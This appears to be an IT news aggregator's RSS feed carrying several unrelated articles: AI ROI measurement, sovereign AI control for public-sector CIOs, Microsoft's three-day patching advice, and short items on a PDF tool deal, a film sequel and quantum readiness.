<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Kilkenny’s Entegro to create 100 new jobs with Acel Energy acquisition]]></title>
<description><![CDATA[Entegro is extending its expertise in fibre telecommunications and network infrastructure by moving into the renewable energy sector.
Read more: Kilkenny’s Entegro to create 100 new jobs with Acel Energy acquisition]]></description>
<link>https://tsecurity.de/de/3688543/it-nachrichten/kilkennys-entegro-to-create-100-new-jobs-with-acel-energy-acquisition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688543/it-nachrichten/kilkennys-entegro-to-create-100-new-jobs-with-acel-energy-acquisition/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Entegro is extending its expertise in fibre telecommunications and network infrastructure by moving into the renewable energy sector.</p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/jobs-news/irish-engineering-group-entegro-create-100-jobs-acel-energy-acquisition">Kilkenny’s Entegro to create 100 new jobs with Acel Energy acquisition</a></p>]]></content:encoded>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Systweak Keeps Sensitive PDF Work Off the Cloud for $39.99]]></title>
<description><![CDATA[Edit sensitive PDFs locally with Systweak tools for conversion, compression, signatures, security, and more.
The post Systweak Keeps Sensitive PDF Work Off the Cloud for $39.99 appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3688474/it-nachrichten/systweak-keeps-sensitive-pdf-work-off-the-cloud-for-3999/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688474/it-nachrichten/systweak-keeps-sensitive-pdf-work-off-the-cloud-for-3999/</guid>
<pubDate>Thu, 23 Jul 2026 11:06:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Edit sensitive PDFs locally with Systweak tools for conversion, compression, signatures, security, and more.</p>
<p>The post <a href="https://www.techrepublic.com/article/systweak-pdf-editor-pro/">Systweak Keeps Sensitive PDF Work Off the Cloud for $39.99</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Megan Fox Reportedly Returning for ‘Jennifer’s Body 2’ as October Filming Nears]]></title>
<description><![CDATA[Megan Fox is reportedly preparing to return as Jennifer Check in Jennifer’s Body 2, with production currently targeting an October 2026 start.



Jennifer’s Body 2 production details



A recent production report claims filming will take place in Vancouver, Canada. Karyn Kusama is expected to ret...]]></description>
<link>https://tsecurity.de/de/3688398/ios-mac-os/megan-fox-reportedly-returning-for-jennifers-body-2-as-october-filming-nears/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688398/ios-mac-os/megan-fox-reportedly-returning-for-jennifers-body-2-as-october-filming-nears/</guid>
<pubDate>Thu, 23 Jul 2026 10:36:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Megan Fox is reportedly preparing to return as Jennifer Check in Jennifer’s Body 2, with production currently targeting an October 2026 start.



Jennifer’s Body 2 production details



A recent production report claims filming will take place in Vancouver, Canada. Karyn Kusama is expected to return as director, while original screenwriter Diablo Cody is working on the sequel’s script.



Fox’s return has reportedly been confirmed by people familiar with the project. Amanda Seyfried is also expected to reprise her role as Anita “Needy” Lesnicki, although her involvement has not received the same level of confirmation.



DetailReported informationProduction startOctober 2026Filming locationVancouver, CanadaReturning starMegan Fox as Jennifer CheckExpected cast memberAmanda Seyfried as NeedyScreenwriterDiablo CodyDirectorKaryn KusamaOfficial studio announcementNot released yet



The sequel is moving closer to production



Diablo Cody has been developing the project for 20th Century Studios. Kusama previously described the script as fun and unpredictable, suggesting that the sequel will retain the dark comedy and horror elements that shaped the original movie.



The first Jennifer’s Body arrived in 2009 and followed a demonically possessed high school student who began killing and eating her male classmates. Although the film received mixed reviews and modest box office results during its original release, it later developed a strong cult following.



Important details remain unknown, including the sequel’s plot, complete cast, release date and official title. The October production schedule also remains unconfirmed by 20th Century Studios.



Still, the reported return of Megan Fox, Cody and Kusama indicates that Jennifer’s Body 2 has moved beyond early discussions and is getting closer to filming.]]></content:encoded>
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<title><![CDATA[Preparing for Q-day: Four steps to prepare your hybrid cloud today]]></title>
<description><![CDATA[The arrival of a cryptographically relevant quantum computer, often referred to as Q-day, is moving from a distant theoretical mathematical challenge to an urgent timeline that security teams must plan for today. Bad actors are already engaging in harvest now,…
Read more →
The post Preparing for ...]]></description>
<link>https://tsecurity.de/de/3688339/it-security-nachrichten/preparing-for-q-day-four-steps-to-prepare-your-hybrid-cloud-today/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688339/it-security-nachrichten/preparing-for-q-day-four-steps-to-prepare-your-hybrid-cloud-today/</guid>
<pubDate>Thu, 23 Jul 2026 10:06:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The arrival of a cryptographically relevant quantum computer, often referred to as Q-day, is moving from a distant theoretical mathematical challenge to an urgent timeline that security teams must plan for today. Bad actors are already engaging in harvest now,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/preparing-for-q-day-four-steps-to-prepare-your-hybrid-cloud-today/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/preparing-for-q-day-four-steps-to-prepare-your-hybrid-cloud-today/">Preparing for Q-day: Four steps to prepare your hybrid cloud today</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]></title>
<description><![CDATA[Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, i...]]></description>
<link>https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft 365 Director Jeremy Chapman this month <a href="https://www.youtube.com/watch?v=QdjSkbKXoJw">took to video to tell Windows admins</a> that the days of delaying security patches are over.</p>



<p class="wp-block-paragraph">Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.</p>



<p class="wp-block-paragraph">As a result, Microsoft has advised admins to act on patches within three days.</p>



<p class="wp-block-paragraph">Independent experts agree with Microsoft’s diagnosis of the <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">problems posed by AI-powered vulnerability discovery</a>, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.</p>



<p class="wp-block-paragraph">Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.</p>



<h2 class="wp-block-heading">Tighter patching deadlines</h2>



<p class="wp-block-paragraph">Microsoft’s <a href="https://techcommunity.microsoft.com/blog/microsoftmechanicsblog/deploy-windows-updates-to-counter-ai-discovered-threats/4534505">revised vulnerability remediation advice</a> comes in the wake of its work with <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Anthropic’s Project Glasswing</a> and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.</p>



<p class="wp-block-paragraph">As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.</p>



<p class="wp-block-paragraph">Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.</p>



<p class="wp-block-paragraph">Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">already struggling with successful remediation</a> as it is.</p>



<p class="wp-block-paragraph">“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”</p>



<p class="wp-block-paragraph">Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”</p>



<p class="wp-block-paragraph">CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.</p>



<p class="wp-block-paragraph">“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”</p>



<p class="wp-block-paragraph">Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.</p>



<p class="wp-block-paragraph">“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”<br><br>Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”</p>



<h2 class="wp-block-heading">Wider cross-industry impact</h2>



<p class="wp-block-paragraph">Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.</p>



<p class="wp-block-paragraph">“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.</p>



<p class="wp-block-paragraph">AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.</p>



<p class="wp-block-paragraph">However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.</p>



<p class="wp-block-paragraph">Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.</p>



<p class="wp-block-paragraph">“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”</p>



<h2 class="wp-block-heading">Holistic remediation</h2>



<p class="wp-block-paragraph">Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">Verizon’s Data Breach Investigation Report</a>, published earlier this year, found that the median time to patch had actually increased to 43 days.</p>



<p class="wp-block-paragraph">Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.</p>



